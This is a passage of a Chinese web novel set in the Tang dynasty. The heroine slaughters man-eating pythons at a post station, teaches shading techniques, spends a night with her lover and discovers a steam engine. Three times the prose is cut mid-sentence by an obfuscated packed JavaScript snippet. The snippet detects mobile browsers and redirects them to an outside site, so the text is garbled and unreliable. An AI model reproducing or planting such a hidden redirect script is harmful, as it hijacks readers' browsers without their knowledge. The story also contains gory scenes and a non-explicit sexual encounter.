“若想解决问题,得请我师父出山了,等下我写封信送回师门,若师父她老人家没去别的地方云游,应当会回应我的。裴小姐,在那之前,不如我找人护送你回长安?” 裴喜君摇摇头:“以前在家中能做之事无非研究妆容,买些首饰衣服,今日见了崔姐姐,却觉得有趣极了,我想跟着崔姐姐,不知崔姐姐能否答应?” 裴喜君乖巧可爱,一口一个崔姐姐,把崔蘅叫得心花怒放,捧着大脸扭来扭去:“也好也好,若你回家去再被那恶魂欺负可怎么办,还是跟着我吧,我来保护你。喜君妹妹,你写封信给你父亲,告诉他你在外面同我游玩,也让他安心。对了,我兄长崔璋是监察右丞,崔侍郎应当知道他。” 裴喜君立刻开心道:“好!我这就写。” 裴喜君说完,又偷偷看了崔蘅的脸一眼,美滋滋地低下头,崔蘅忽然凑近过去:“喜君妹妹,你是不是喜欢我这张脸。” 裴喜君被她直白的话说得整张脸都红了:“没、没有啊……” 崔蘅嘿嘿一笑:“我虽然是女子,但我有个哥……回去之后,我介绍你们认识。你害羞什么嘛!怎么他们男子就能见色起意,我们女子就不能单纯因男子的脸好看产生好感吗?!” 裴喜君捂住脸小声道:“崔姐姐,你不要再说了……” 崔蘅从裴喜君房中回来时,变得十分神清气爽,嘴里还哼着奇怪的小曲,卢凌风听到动静,抬眼朝她看去:“为何如此高兴?” 崔蘅笑嘻嘻道:“不告诉你。你怎么还在看我的手札?” 她说着走上去,将油灯挑亮了一些,卢凌风笑着说:“觉得很有意思,一看就入迷了。哎,这是什么意思?这个蛇,白鳞红眼,被奉为神蛇,但最后证实只是白化之蛇。何为白化之蛇?” 崔蘅凑过去一看,道:“这是我兄长到任的一个县,这个县里的人不事生产,却供奉一条白色巨蟒,认为它是神明,自己都吃不饱,还为蛇供奉猪羊。后来发现是饲养白蟒之人散播的这等谣言,他其实一直知道白蟒底细,从那蛇很小时候就养着它,然后利用自己同旁人的信息差,将这白蟒捧上神坛,为自己敛财,至于白化之蛇……简单解释起来就是这种蛇身体里缺某种东西,让它的鳞片无法产生颜色,从而呈现白色。其实这种蛇比普通的蛇更加虚弱。” 卢凌风点了点头:“虽然只是普通的蟒蛇,但也算是有灵性了。” “何以见得?” 卢凌风指着手札上的一行道:“这人吹起哨声,白蟒就会出现,还不够有灵性吗?” 崔蘅笑了笑:“非也。此人每次喂食白蟒都会吹起哨声,天长日久,吹起哨声时,白蟒便以为又来了喂食,当然跟随哨声而现。这叫作动物的学习行为,同训狗熬鹰是一个道理。” “原来如此!那最后如何解决的?” 崔蘅轻笑:“很简单,杀了他们眼中的蛇神。哦对了,我还把那蛇肉分给大家吃掉了,蛇胆卖到药铺也换了一笔钱。” 卢凌风眼睛亮晶晶地看着她:“知意,你怎么什么都懂。” 崔蘅见他这副样子,忍不住在卢凌风头顶拍拍:“读万卷书行万里路,见识多了,自然就懂得多了,懂得多,就不容易受骗。” 卢凌风把她的手拨开,不满地看她一眼:“这是在骂我愚笨。” “非也,只是你太善良了,还保留着天真的浪漫情怀。总之你记得,畜牲就是畜牲,野性难驯,不要轻易把它们的行为代入人类才有的感情。” 卢凌风若有所思地点了点头,笑道:“知意,这本手札再借我看看。” 崔蘅点点头:“你喜欢就拿去看吧。” 这一夜倒是平安度过了,第二天苏无名带着县里的捕贼官来到甘棠驿,卢凌风几人从楼上下来,众人都闻到了一股皮肉煮开的香味。衙役们冲进厨房,卢凌风也跟着去了,不一会儿几个人就捂着嘴冲了出来,有几个还吐了。 这甘棠驿的驿卒竟在锅里煮人头,煮得是昨晚那个折冲都尉和之前来这里的崔无忌。崔蘅突然想起自己还喝过这个地方的锅里煮出来的姜汤,差点把黄疸水都吐出来。 裴喜君急忙将自己的帕子递过去给崔蘅:“崔姐姐,你没事吧?” 崔蘅摆摆手:“没事,没事……这驿卒,实在变态。” 卢凌风昨天被裴喜君的态度搞得都有点应激了,今天见她好像对自己毫无兴趣,还同崔蘅如此亲密,十分不解。不过只要她不再说那些奇奇怪怪的话就好了,其他的都无所谓。 将那名叫刘十八的驿卒捉住之后,众人才明白了甘棠驿馆的真相,这间驿馆简直就是大唐版的孙二娘包子铺,只是孙二娘剁的人肉包成了包子,这里的人肉,都喂了蟒蛇。崔蘅看着从四面八方爬出来的花花绿绿的蟒蛇,汗毛都立起来了。卢凌风立刻拔枪上前,想杀了那些蟒蛇,身旁的裴喜君却不忍道:“卢将军且慢!这些蟒蛇是有灵性的,而且是无辜的……” 崔蘅听到她的话,下意识皱了皱眉头,没想到下一秒苏无名竟然也道:“卢凌风,裴小姐说得有道理,做错事的是人,并非蟒,这甘棠驿或许原本就是属于它们的地盘。” 崔蘅已经忍不住了,嗤笑一声,刚要开口,卢凌风已经动手了。他手中长枪一拧,直直插进一条蟒蛇的脑袋,巨蟒疼痛之下扭动身体,长尾狠狠拍地,卢凌风将枪一挑,把那蟒在枪尖转了一圈,重重拍在地上。崔蘅见此也不再迟疑,猛地拔出靴中短刀,她那短刀刃薄如纸,泛着蓝光,她足尖点地,飞身而起,一声清叱饱含怒气:“武奇飞洛!随本小姐杀蛇!一条不许留!” 这些蟒蛇平日里被喂得饱,似乎也没有天敌,见了人竟然只知张大嘴,俨然已经习惯了将人当做食物。崔蘅知道长到这么大的蛇是不会有毒的,直接夹着刀冲蛇口而去,刀刃直劈蛇头,崔蘅滑身向前,生生将一整条巨蟒剖成两半,蛇的尸体从空中跌落,而后重重摔在地上。 “啊——!” 裴喜君吓得大叫一声,后退了好几步,在场的男人也被此等血腥场面震慑,没有一人再敢多话。 崔蘅缓步从漫天血雨中走出来,她唇角勾着笑,直直盯着苏无名:“甘棠驿本就属于它们?据我所知,这驿馆设立在八年前,是附近百姓一砖一瓦搭起来的,砖瓦工费,皆出自朝廷赋税。啊……莫非我搞错了,其实这驿馆是蟒蛇搭起来的?” 苏无名张口结舌地看着她,崔蘅轻轻擦掉唇边血迹:“苏无名,喜君小姐是世家小姐,不懂这个道理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525434|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就罢了,你跟着狄仁杰这么多年,又做过官,不会也不懂这个道理吧。敢问苏司马一年上山多少次?” 苏无名没有做声,崔蘅又问:“那甘棠县的药农,茶农,猎人,樵夫,共几何,一年上山多少次?” “药农4户,茶农8户,打猎为生者11户,樵夫6户。为讨生计,除冬季部分时间,日日上山。十年间,甘棠县死于毒蛇猛兽之口者,共计三百七十六人,死于蟒蛇之口者,一百一十二人。这些,都是找得到尸体的。” 卢凌风将尖枪狠狠插进一条蟒蛇腹中,将其劈作两半,还有空接她的话。 崔蘅没看卢凌风,轻轻甩了甩手中的刀:“废一善则众善衰,赏一恶则众恶归。苏司马是州里负责刑狱的官员,应该不会不懂吧。” 崔蘅瞥他们一眼,再次向一条蟒蛇走去:“收起你们高高在上的善良,天底下是没谁给你同情了吗,同情吃人的蛇……守小善而弃大义,非君子也!而且,你所说的蛇有灵性,不过是因为这个人,在用人肉喂食蟒蛇时,会吹响哨音。你们不会以为这些蛇听到哨声跑出来,是为了保护主人吧。对它们来说,哨声只有一个意思,那就是,开 饭了!” 崔蘅一边说,一边高高跃起,薄刃狠狠插进蛇的七寸,然后旋转一圈,将整个蛇头砍了下来。巨大的蛇头掉在地上,骨碌碌地转,俨然一副地狱景象。 崔蘅踩着那蛇头,眼中杀意愈盛,她侧头看向被压在地上的刘十八,从他们开始杀蛇起,这个人就叫得凄惨而大声,吵得她耳朵疼。崔蘅猛地朝他冲过来,苏无名急忙喊道:“别杀人!” 他话音刚落,崔蘅已经一脚踢在刘十八侧脸,将他牙齿踢掉了几颗,刘十八被踢懵了,崔蘅弯下腰,一把抓住他的头发,狠狠往地上砸。众衙役终于反应过来,急忙上去拉她,不过崔蘅已经发泄够了,她轻轻撩开缠在脸上的头发,回头朝衙役们嫣然一笑:“妾身才不会杀人呢。” 她娇笑看着满脸血躺在地上的刘十八:“怎么死了那么多人,你都没叫一声,我杀几条吃人的蛇,你叫得跟死了爹一样。哦,这些蛇是你特地养起来劫杀行路之人的帮凶啊,现在没有工具给你敛财了,你才这么伤心对吧?” 刘十八被崔蘅打得满脸是血,一句话也不敢说。她环顾一周,见周围的蛇死得一条都不剩了,甩掉刀上的血珠,将刀重新插回靴子里,然后轻描淡写地对武奇飞洛道:“收兵。” 经历这样一番变故,在场的人已经吓得战战兢兢,倒是那个姓苏的县尉,指着崔蘅手指乱抖:“你……你……你这女子,真是狂妄至极!” 崔蘅抬眼瞥他:“本小姐杀蛇而已,苏县尉难道还想治我的罪不成?你们甘棠县穷恶之地,不事生产,不绞蛇患,倒挺会跟朝廷哭穷。本小姐过一地便要平一事,杀蛇这事,你们县里不管,州里不管,本小姐管。” 苏无名沉默看着崔蘅半晌,忽然朝她走过来,竟对她深深一揖:“崔小姐大义,苏无名……惭愧。” 崔蘅此时气也消了大半,她重重叹口气,也朝苏无名一揖到底:“蘅盛怒之下口不择言,苏司马见谅。” 卢凌风在一旁看着他们,满脸血污仍掩不住唇角的笑意,崔蘅似有所感,朝他看过去,卢凌风用力将长枪顿在地上:“好一个过一地便平一事,我同你一起,平了此处蛇患!” 26.此情若是久长时,又岂在朝朝暮暮 被杀死的那几条蟒蛇,崔蘅吩咐武奇和飞洛将它们剖腹取胆,但是发现全都只是普通蟒蛇,并非她想找的烛蛇。崔蘅知道此事急不来,且这甘棠县不止这驿馆外唯一一座山,蛇患闹得最凶的在甘棠县里面。 众人离开甘棠驿之后,又行二十里,终于住进了一所正常的客栈,崔蘅早就忍不住了,马上让店小二准备热水,她要好好洗个澡。之前杀蛇杀得浑身血腥,只能在驿馆里勉强烧水擦了擦,终究还是得泡个热水澡才能舒服过来。 崔蘅洗过澡之后,听到房门外响起敲门声,打开门一看,原来是裴喜君。崔蘅用毛巾卷着头发轻轻揉搓发丝,笑看着她:“喜君妹妹,有什么事?” 裴喜君表情有些忧伤,看到崔蘅之后,立刻道:“崔姐姐,在甘棠驿时,我为那蟒蛇求情,并不知道你说得那些,后来想想实在后悔,你不要生我的气。” 崔蘅挑挑眉,忍不住笑道:“我怎么会生你的气,你快进屋里来,我仔细跟你说。” 崔蘅将裴喜君邀进房间,给她倒了一杯茶:“你约是见它们听刘十八的哨音而动,觉得它不会伤人,这也是人之常情。喜君是世家小姐,父亲又疼爱,不曾见过人间疾苦……有些善良对底层生活的百姓来说,实在奢侈,他们自己都填不饱肚子,哪里还有心情可怜那些蛇虫鼠蚁,这些畜牲,对他们来说都是害命的东西。” 崔蘅见裴喜君缴着手指低头不言,轻笑一声,她轻轻握住她的手:“喜君,你不要觉得惭愧,你是被自己的生活环境局限了视野。但是苏无名不一样,他有的是机会了解这些事,而且他是做官的人,下辖一州百姓,他的仁慈可能会害死很多人。要说生气,我也是生他的气,对你只有怜惜。” 裴喜君微微低头,抿着唇角露出一个笑来:“我还以为你生气不想理我了。” “怎么会,日后你见得多就懂了,我也是以前跟随兄长外放做官时见识到这些。多看,多思考,眼界都会变得不一样。” 裴喜君被崔蘅安慰了一通,终于安下心来,手拖下颌看着她:“崔姐姐,跟你聊天真有意思,说得都是我从来没见过,没想过的事情。” 崔蘅又换了块手巾继续擦头发上的水:“你只要不嫌烦,以后我天天说给你听。” “当然不嫌烦了!总比每天闷在家里好玩。我以前在家时,做得最多的就是画画,一个人跟自己玩……” 听她说到画,崔蘅便忽然想到她画得那副自己女扮男装的人像,真是太像了,如果裴喜君学过立体绘图,估计能画出照片来。崔蘅想了想,道:“说到画画,我还真知道一个有意思的事情,在西方国家,他们崇尚一种画形的绘画方法,画出来的东西真的像活的一样。” 裴喜君立刻来了兴趣,道:“崔姐姐可保存过这样的画卷?可否让我一见。” 崔蘅摇摇头:“我手上也没有……不过,虽然我不懂丹青,但是听过画那幅画的画师讲过其中关键。他说,一个物体,从一面看时,我们看到的并不只有它的一个面,其实还看得到其他方向投射过来的画面,只不过其他面投射的画面并不完整,如果能将其他的面也呈现在一张纸上,那这副画就会变得立体,更接近真实。还有,因为阳光照射在物体上反射出的光线明暗不同,不能只用一种深浅的墨色去反应这个物体的颜色,而是要根据光线变化去展现它的明暗变化。” 裴喜君虽然听不懂她说得那些词,但是崔蘅所说的意思却明白了一些,她欣喜道:“原来还能这样……我竟从来没想过。崔姐姐,你知道具体应该怎么做吗?” 崔蘅想了想,道:“走,跟我去厨房。” “去厨房?去厨房做什么?” “去了你就知道了。” 崔蘅把她带到厨房之后,客栈的人正在做饭,崔蘅跟他们打声招呼,将一根木棍伸进灶台底下用火烧,等将顶端烧得黑黑的,才拿出来。 “画那种画,还是得用硬笔才行……不过,现下手里没有炭笔,只能用这种木炭替代一下了。” 崔蘅不会画画,只能找一个简单的东西来做模特,比如一个苹果。 “我要先画出一个轮廓,然后你看这个苹果,你从这个点去看的时候,它被阳光照到的地方是亮的,在画纸上用浅色一点的线条代表,而没有被照到的位置则用深色一点的线条代表……这样画出来,你看。” 崔蘅一边解说一边画,最后向裴喜君展示出一张画成毛线团一样的苹果。 “啊——!不是这样的!只是因为我不擅长画画,成品不该是这样!” 崔蘅抱着脑袋疯狂挠头,当年她也学过画画,但是画水墨的巅峰时期是她十岁时,赚了个才女名声之后就不碰这玩意儿了,至于铅笔画……那是上辈子初中时候沾九年义务教育的光学了点光影的理论,根本碰都没碰过。 裴喜君见她纠结成这样,急忙道:“别急,我懂你的意思了,让我来试试。” 然后她就很快地“唰唰”几笔画出来一个苹果。这苹果画得技法虽然稍微稚嫩了一点,但意思已经是那个意思了。 “唉呀,天才啊,喜君你可真厉害。” 崔蘅不由自主地海豹鼓掌,手都快呱唧红了。 裴喜君思索道:“这种方式着实厉害,不过若要将这种技法运用到画人物上面,还要再练习才行。” 崔蘅点头:“我也只听别人讲过理论,操作起来完全不懂,他们会将颜色的明暗对应炭笔着墨多少的深浅分出颜色,炭笔着色越少,颜色越浅,对应实际生活中物体的颜色便越明亮,反之则越深,不着色代表最亮的白色,全部涂黑则代表最暗的黑色,中间着色深浅就要根据画师对色彩和明暗敏感度来了。” 崔蘅笑看着她:“喜君妹妹这么有天赋,肯定能掌握这种技法。” 裴喜君抿唇笑了笑:“还是多亏了崔姐姐讲得详细。” 裴喜君抱着画笔画纸心满意足地离开了,崔蘅站在门口送她,待她走远,崔蘅刚要关门,却从门口忽然伸出来一只手,一把抓住了崔蘅的手腕。看清来人之后,崔蘅才松了口气,卢凌风则握着她的手腕,直接钻进她房间里,顺手将房门关上。 “哎你……” 崔蘅见他如此,忍不住笑了一下:“这是做什么,你不会一直在门口躲着吧。” “听到你房间里有声音,我便在外面等了片刻。” 卢凌风皱皱眉头,用力拉着崔蘅来到桌边坐下。 崔蘅握着手腕扭了两下:“你力气真大。” 卢凌风哼道:“少岔开话题,你跟苏无名说得那些是什么意思?” “你是指哪些?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530508|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>卢凌风沉默一下,还是说出了口:“此情若是久长时,又岂在朝朝暮暮。” 崔蘅抿唇笑了笑,往卢凌风身边凑一凑,然后抱着他的腰轻轻靠在他怀里:“除了你,我还能跟谁有情。” 卢凌风原本有点生气的,但是崔蘅在他面前总是不正经,尤其她这样软绵绵地靠过来,他一下子又气不起来。崔蘅见他还皱着眉,干脆起身侧坐到卢凌风腿上,搂着他的笑道:“卢将军在生什么气?” 卢凌风轻轻吐出一口气:“为何不同我商议,便定下我的去处?” “哪有定下,我这不是让苏无名去问你同不同意么。你若不同意,便跟我一起去山里。” 崔蘅搂着他的脖子看着他:“虽然你说要同我一起去杀蛇,可是,以你的才能,去做这些事,未免大材小用。你之前不是说也想行万里路,多去地方上历练历练。你跟着我哪里能得到什么历练……苏无名却不同,他好歹是官身,又负责督察案件,你跟着他,能接触更多的人,看到更多关乎百姓生死的事。我当年也是跟着兄长去各处赴任,才开阔眼界。” 崔蘅垂下眼睛:“跟着我接触不到朝堂上的人,我虽然不舍你,却更怕你后悔……” 卢凌风迟疑道:“你自己跑出去,我不放心。” “我有两个侍卫,有什么可不放心的。等我找到烛蛇,立刻就回南州跟你汇合,可好?” 卢凌风皱着眉头想了半天,终于点头,崔蘅抱紧他:“卢将军,我不在你身边,可会想我?” “不想。” 卢凌风扭开头,却下意识握紧她的腰,他本就习武,手上力气大,同崔蘅在一起时也时常忘记收住力道,崔蘅被他掐得忍不住闷哼了一声。 崔蘅凑过去看他:“当真?” “哼……” 崔蘅见他无动于衷,抬手将沐浴后只松松裹在身上的浅紫色丝绸珠光锦袍扯开,露出一只雪白的肩头,在卢凌风胸口蹭来蹭去:“可是人家会想你嘛。” “你……!” 崔蘅勾着他的脖子,侧头往烛花上迅速一吹,将蜡烛吹灭,凑到卢凌风唇边轻轻说话:“今日一别,还不知何时再见,卢将军真不想……” 卢凌风没让她继续说下去,抓住她脑后柔顺还带着水汽的长发,重重吻上去。崔蘅每次都这么钓他,偏偏卢凌风还每次都上钩。卢凌风已经算是有定力的了,但是开过荤的男人根本忍不住。 他直接将崔蘅横抱起来,轻轻放到榻上,卢凌风看着她半晌,隐忍地吞咽一下:“知意,我们这般……不合理法,我实在不该。” 崔蘅咬着唇盯着他,眼睛里都是笑,她轻轻抚上他的胸口,扯开卢凌风的衣服:“难道担心我会不给你名份。” 卢凌风气得低头咬她的脖颈:“这是你自找的。” 崔蘅搂住他,贴在他颈侧喘得十分煽情:“不是我自找,我也想你了……” 崔蘅明显听到卢凌风呼吸声变了,忍笑伸手探进他衣服里,足尖轻轻勾起他的袍脚,贴着小腿向上滑:“你要同我比定力,看你忍到什么时候……” 卢凌风抬手将床幔用力扯下来,崔蘅立刻被他以唇封嘴,后面的话再也说不出来了。崔蘅意乱情迷之际,似乎隐约听到卢凌风轻声叹息。 “我对你何时有过定力。” 27.大踏步进入蒸汽时代吧 卢凌风感觉自己是被人戳醒的,一根手指抵在他腹上,轻轻地蹭来蹭去。 痒痒的,有点想笑。 他就真笑出声了,一边笑一边握住那根手指,往唇边带。卢凌风在她手指上轻轻吻了一下,伸手将一大早醒来就开始捣乱的人搂进怀中,闭着眼睛将脸埋在她颈侧:“时间还早。” 崔蘅甚是稀奇,今生竟然能见到卢凌风在她面前撒娇。她微微抬起头,抬手去挑他散在脑后头发:“睡不着……卢凌风,一想到要走了我就很难过。” 卢凌风睁开眼睛:“如何才能不难过?” 崔蘅沉默一下,把手伸进被子里:“摸摸腹肌。” “……” 卢凌风无语地盯着她——就知道她不会这么煽情,说这些话纯粹是为了哄他。不过他倒是没再把她的手扒拉下来,只是用力搂住她往怀里带。 “别胡闹。” 崔蘅幽幽瞥他一眼,并不理会,她时常对此颇觉怨念,腹肌就在眼皮子底下,不给看不给摸,这是人干的事吗?崔蘅环着他的腰在他身上放肆地摸,卢凌风眉头越皱越紧,最后不得不把她连着两条手臂都搂住,叫崔蘅动弹不得。 “摸够了没。” “还没呢……” 崔蘅说完,见卢凌风的表情肉眼可见地危险起来,崔蘅立刻改口:“我不摸了,你松开。” 卢凌风哼了一声松开手,崔蘅立刻爬起来,然后轻轻伏在他胸口:“卢凌风,问你个问题。” 卢凌风挑眉:“你问吧,回不回答看我心情。” 崔蘅想了想,笑着道:“我想问你,你效忠的到底是太子,还是朝廷。” 卢凌风皱起眉头:“这是什么问题。” “我是说,若有一日太子弃了你,但是有别的人对你赏识有加,你是否会效忠?” 卢凌风移开视线,不情愿道:“什么叫若有一日,如今我便是被太子下令贬斥,何须他日。” 崔蘅深深叹口气,翻个身躺到他肩头,她盯着头顶的床帘道:“虽然你这样说,可我还是从你话里听出来,你并没有放弃太子,万一他回头起用,你还是会效忠于他。” 卢凌风越听越不对劲,他伸手捏着崔蘅的脸让她转向自己:“为何会说出这种话?太子心怀社稷,不失为一位名主,更何况,他是储君,大唐正统的继承人,为何你似乎对他颇多不满?” 崔蘅咬了咬嘴唇没说话,她很想说什么大唐正统,什么储君,这些在她看来这些都不是加分项,至于是否心怀社稷,这么主观的东西,怎么能当作判断标准,要按照她的标准看来,太子根本就是个政治家,阴谋家,根本不能被称作明君。当然,也不能太苛求他了,主要还是现在的社会制度不够先进,要把封建王朝推翻重新建立新制度……但是这些话他要怎么跟卢凌风说,他肯定觉得自己疯了。 卢凌风察觉到崔蘅神色有异,皱了皱眉:“莫非,崔右丞实际效忠的是公主殿下?” “当然不是。” 崔蘅推开他捏着自己下巴的手,有些生气了:“我兄长怎么可能站她的队,那女人就是个疯子。” 卢凌风一把捂住她的嘴,深深叹口气:“慎言。” 崔蘅张嘴便去咬他的手指:“我就要说,有本事你去告发我。” 卢凌风哭笑不得地捏住她的下颌,让她没办法再咬他:“我是为你好,若被有心人听去,对你和崔右丞都没好处。” 崔蘅没再同他闹,抱住卢凌风的腰低头将脸埋在他怀里,她很想执着地问出个答案,问他到底是不是非太子不可,万一将来她真的把他们姓李的那一家子一网打尽,他会不会这站在自己对立面。可是崔蘅也怕,卢凌风这种脾气,只能和风细雨潜移默化地转变他的思想,真要强行逼他接受,他一定会宁死不从。 他们难道要走到因政见不和而分崩离析的地步吗? “怎么了?” 卢凌风有些奇怪地把崔蘅从怀里挖出来,轻轻捏捏她的脸:“你在难过什么?” 崔蘅摇摇头,她慢慢垂下眼睛,脑子里不断浮现出一些不好的东西——比如卢凌风死掉,她在他坟前放七十二枚礼炮的画面。 崔蘅忽然紧紧抱住他:“若有一天,我们站在对立面……你会不会杀我?” 卢凌风立刻道:“怎么会。” 他说完之后才意识到崔蘅有多不对劲,他猛地坐起身:“你想做什么?你是不是做了什么法理不容的事情?” “我才没有。” 崔蘅白他一眼,干脆翻个身背对他,卢凌风想了半天,又觉得从她同她兄长以前做的那些事情看来,根本不会发生这样的事。他便从背后伸手去搂她的腰:“我……我没有怀疑你的意思。” 崔蘅气得在他身上连推带捶:“你明明怀疑了!还说不会杀我,我做个假设罢了,你就那么凶!你干脆现在就杀了我算了!” “没凶你……你……够了崔知意!谁让你做这种假设,再闹揍你!” 崔蘅闻言一把抱住卢凌风的腰,狠狠啃在他肩头——这人在废话什么,她想听的是他说,只奉明主,并不非认准他们姓李的……他就不能说一句吗?!哪怕露个口风也行啊!她不想跟他反目成仇!但是要让她放弃现在正在做的事,也是万万不能的,若要在卢凌风和她们的大事之间选择,她会选择后者。 崔蘅不想做选择…… 卢凌风哪知道崔蘅在想什么,被咬得倒抽一口凉气,想也没想便在她屁股上狠狠抽了一巴掌:“松口!” 崔蘅登时惊愕地松开他,捂着屁股一脸不可置信地盯着卢凌风,一时间羞愤得说不出话:“你……!” ——她都多大人了!居然被打屁股?!这……这这!奇耻大辱! 卢凌风也有些懵,这完全是他下意识的反应,若真让他在完全冷静的情况下做这种事,他可能还做不出来。卢凌风见崔蘅满脸通红地瞪着他,反而把那点点心虚压下去,朝她一抬下巴,取了自己的衣服披在身上下了床,他一边穿衣服一边示威似的瞪崔蘅一眼:“看什么看,下次再胡闹还揍你。” 卢凌风说完,也顾不上崔蘅什么反应,自己倒是先落荒而逃,留下崔蘅一个人愤怒捶床。 “卢凌风……你无耻!” 因为早晨发生的那件事情,崔蘅也不好意思再同卢凌风面对面告别,早饭都没吃,收拾东西带上裴喜君等人出发了。她倒是记得留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534391|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了封信给卢凌风——如果那张没有开头没有落款的纸书算是信的话。信上只有一句话,我会给你写信的。信用一只绿色的玉雁压着,另外一只被她带走了。 都怪卢凌风,她现在都不好意思看见他,更别说好好道别,反正……不管道别多少次,她还是得走,还不如就这么走掉,也省了伤感。 之后他们在找烛蛇的路上,每到一站都会给卢凌风写信,崔蘅偶尔还会在信封中夹上一两片干花或者树叶,将最近发生的事情跟他说一说。不过崔蘅很少能收到卢凌风的回信,因为他们在一个地方往往不能待太长时间,信送得这么慢,经常信送到了,他们已经到了下一个地方。这种情况发生多了,崔蘅便会在写信时嘱咐一句,不必回信。她真正来到唐朝这个时代,才深刻明白了,“以前车马慢,一生只够爱一个人”并非什么浪漫的情话,那是真的慢,她时常哀叹,如果有手机就好了。他们这也算在热恋阶段吧,总是见不到面就算了,信都收不到几封,多气人啊。 好消息是,在他们到达一个叫宁湖的地方时,终于找到了烛蛇,宁湖这里沼泽多,烛蛇就生活在一处沼泽旁边。烛蛇本身长得同普通蛇没什么区别,七寸处长着几丛立起来的鳞片。它的模样,同师父寄给她的图画其实不太像,若非七寸上那几丛立起来的鳞片,都认不出它来。不过某种程度上,能让他们认出来的画像,就算画得不像,也算合格。 可是崔蘅却无法按照约定立刻回南州与卢凌风会合,因为她接到了师父的回信,是关于裴喜君的。她身上那个莫名其妙的魂魄虽然被紫菱粉压着并没有再出现抢夺身体的情况,可是据裴喜君说,她时不时还是能感觉到他的存在,那就说明那个魂魄还在她身上,既然师父回信愿意帮忙,崔蘅便打算先带她回师门一趟,解决她的问题再说其他。 裴喜君也很好奇崔蘅的师父到底是什么样的世外高人,一直想见一面,但是真到见面这天,又觉得十分出乎意料。他们相见时,崔蘅的师父正在水边浣洗一条米白色的纱,那纱有三丈长,又十分宽,吃饱水之后应当十分沉重,但是穿着一身青衣,作普通农妇打扮的女子却一只手就将纱从水中提起,挽着那纱轻巧地抖了抖,便将水抖干净了。 裴喜君惊讶地看着眼前场景,崔蘅已经跑过去,直接扑到那女子身上:“师父!徒儿好想你!” 崔蘅的师父号蒲纯散人,年近五十,看上去却是三十岁上下的样子。见到崔蘅飒然一笑,抱着她转了一圈,才将崔蘅放在地上:“下次再见为师换套别的说辞,每次都听你说同样的话,为师都听腻了。” 崔蘅笑嘻嘻地挽着蒲纯的胳膊:“那我重新说,徒儿想死师父啦!” 蒲纯散人拍拍崔蘅的手背,这才看向一旁的裴喜君:“你便是知意信中所说一体双魂的裴喜君?” 裴喜君急忙朝她行礼:“正是,喜君拜见蒲纯真人。” 蒲纯伸手虚扶了一下她的手臂:“跟我来吧。” 她说完忽然想起什么似的看了崔蘅一眼:“你三师姐在丹房,把烛蛇的胆交给她,还有,她那边有人把你上次说得那个……什么东西,弄出来了。” 崔蘅瞪大眼睛:“他们把蒸汽机做出来了???” 28.什么男主角? 崔蘅几乎是跑着来到丹房的,还没看到蒸汽机,就已经开始兴奋了,因为她听到了那巨大的蒸汽推动活塞,又在滑道中被推回来的声音。那一刻崔蘅简直无法形容自己内心的激动,在唐朝这种几乎机械的时代,听到这种声音,她兴奋得简直快飞起来了。 当崔蘅进入丹房时,她便看到了一架巨大的蒸汽机,也不知他们试验了多少次,才锻铁铸造出这些管道、飞轮,最终还能将它们组合起来,投入使用。不过三师姐是不是有点大材小用了,她居然让蒸汽机给她的丹炉扇扇子…… 崔蘅蹲在一条钢铁铸造的机械臂前观察了半晌,见这机械臂稳定地前推后拉,以一个定点固定在丹炉前的大扇子被不断推动,保持丹炉内火苗不熄,崔蘅忍不住笑出了声:“真是个天才……” 她这位三师姐,不仅是个天才,还是个幽默的天才,这也太可爱了。 或许听到崔蘅的声音,身穿淡黄色衣裙的女子从丹房后面走了出来,她袖子挽起,露出小臂,长裙也被束了脚,作一副方便劳动的打扮。 “知意,你回来了。” 崔蘅闻声抬头看去,顿时粲然一笑:“三师姐!” 三师姐总是冷冷淡淡的脸上不习惯地勾起一个笑容,却朝崔蘅伸出手:“快起来,蹲在地上做什么。你看到了吧,这蒸汽机果真同你说得一般好用,可以解放人力,现在我都不用自己扇扇子了。” 丹房并不止这一台丹炉,崔蘅刚刚看过,那些机械臂摇动时,带动的不止是一把扇子,而是很多把,如此一来,确实省了她不少扇扇子的功夫,以前那些被她强行抓过来扇火的师弟师妹们,如今只留了一个,偶尔添添柴就够了。 崔蘅一把抓住三师姐的手,站起身顺势狠狠抱住她。三师姐身形娇小,崔蘅这般个头,简直可以将她整个人都裹起来。崔蘅每次都忍不住逗她,一把抱着她的腰把她整个从地上抬了起来:“三师姐!你可真是我的大宝贝!” “啊——!别转!放我下来!” 崔蘅抱着她转了好几圈,才将她放在地上,还是忍不住把她按在自己柔软的怀里狠狠揉搓一顿。三师姐被她这一番豪放的动作吓得都不敢动弹了,直到崔蘅发泄完兴奋之情,她才勉强从她怀里挣脱出来。 